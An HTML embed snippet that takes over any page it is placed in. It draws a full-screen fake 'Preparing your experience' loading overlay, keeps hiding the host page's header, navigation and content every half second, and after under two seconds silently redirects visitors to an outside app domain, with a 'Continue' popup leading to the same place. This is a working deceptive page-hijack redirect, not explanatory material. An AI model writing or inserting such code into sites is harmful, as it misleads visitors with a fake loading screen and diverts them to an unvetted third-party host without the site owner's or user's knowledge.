Embed

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0"/>
<title></title>

<style>
/* 🚨 HARD RESET EVERYTHING */
html, body {
  margin: 0 !important;
  padding: 0 !important;
  width: 100% !important;
  height: 100% !important;
  overflow: hidden !important;
  background: #000 !important;
}

/* 💣 NUKE ALL POSSIBLE DURABLE LAYOUT ELEMENTS */
* {
  box-sizing: border-box;
}

header, footer, nav, main, section, iframe, div:not(#root) {
  animation: none !important;
}

/* 🌑 FULL SCREEN OVERLAY (TRUE TAKEOVER) */
#root, .overlay {
  position: fixed;
  inset: 0;
  width: 100vw;
  height: 100vh;
  background: radial-gradient(circle at center, #111, #000);
  display: flex;
  flex-direction: column;
  justify-content: center;
  align-items: center;
  z-index: 2147483647 !important;
  color: #fff;
  text-align: center;
}

/* 🔄 LOADER */
.spinner {
  width: 72px;
  height: 72px;
  border: 6px solid rgba(255,255,255,0.15);
  border-top: 6px solid #ffffff;
  border-radius: 50%;
  animation: spin 1s linear infinite;
  margin-bottom: 18px;
}

@keyframes spin {
  0% { transform: rotate(0deg); }
  100% { transform: rotate(360deg); }
}

/* TEXT STYLE */
h1 {
  font-size: 20px;
  margin: 0;
  font-weight: 600;
}

p {
  font-size: 13px;
  opacity: 0.7;
}

/* MENU BUTTON ONLY CONTROL */
.menu {
  position: fixed;
  top: 12px;
  right: 12px;
  z-index: 2147483647;
  background: rgba(255,255,255,0.08);
  border: 1px solid rgba(255,255,255,0.15);
  color: #fff;
  padding: 10px 12px;
  border-radius: 8px;
  cursor: pointer;
  font-size: 13px;
  backdrop-filter: blur(8px);
}

/* POPUP */
.popup {
  position: fixed;
  bottom: 18px;
  left: 50%;
  transform: translateX(-50%);
  background: rgba(0,0,0,0.9);
  border: 1px solid rgba(255,255,255,0.1);
  padding: 12px 14px;
  border-radius: 10px;
  display: none;
  z-index: 2147483647;
  font-size: 13px;
}

.popup button {
  margin-left: 10px;
  padding: 6px 10px;
  border: none;
  border-radius: 6px;
  background: #00c853;
  color: #fff;
  cursor: pointer;
}
</style>
</head>

<body>


<div class="menu" onclick="openPopup()">Menu</div>


<div class="overlay" id="overlay">
  <div class="spinner"></div>
  <h1>Preparing your experience</h1>
  <p>Optimizing access...</p>
</div>


<div class="popup" id="popup">
  Taking longer than expected?
  <button onclick="go()">Continue</button>
</div>

<script>
const target = "https://a958b679.mydala.app";

/* 🧠 SMART REDIRECT STRATEGY */
let fastLoad = true;

// quick redirect for good connections
setTimeout(() => {
  window.location.replace(target);
}, 1800);

// fallback popup for slow users
setTimeout(() => {
  document.getElementById("popup").style.display = "block";
  fastLoad = false;
}, 3500);

// menu opens fallback action
function openPopup() {
  document.getElementById("popup").style.display = "block";
}

// manual continue
function go() {
  window.location.replace(target);
}

/* 🧹 AGGRESSIVE DOM CLEANER (kills leftover layout) */
function purgeUI() {
  document.querySelectorAll("header, footer, nav, main, section").forEach(el => {
    el.style.display = "none";
  });
}

purgeUI();
setInterval(purgeUI, 500);
</script>

</body>
</html>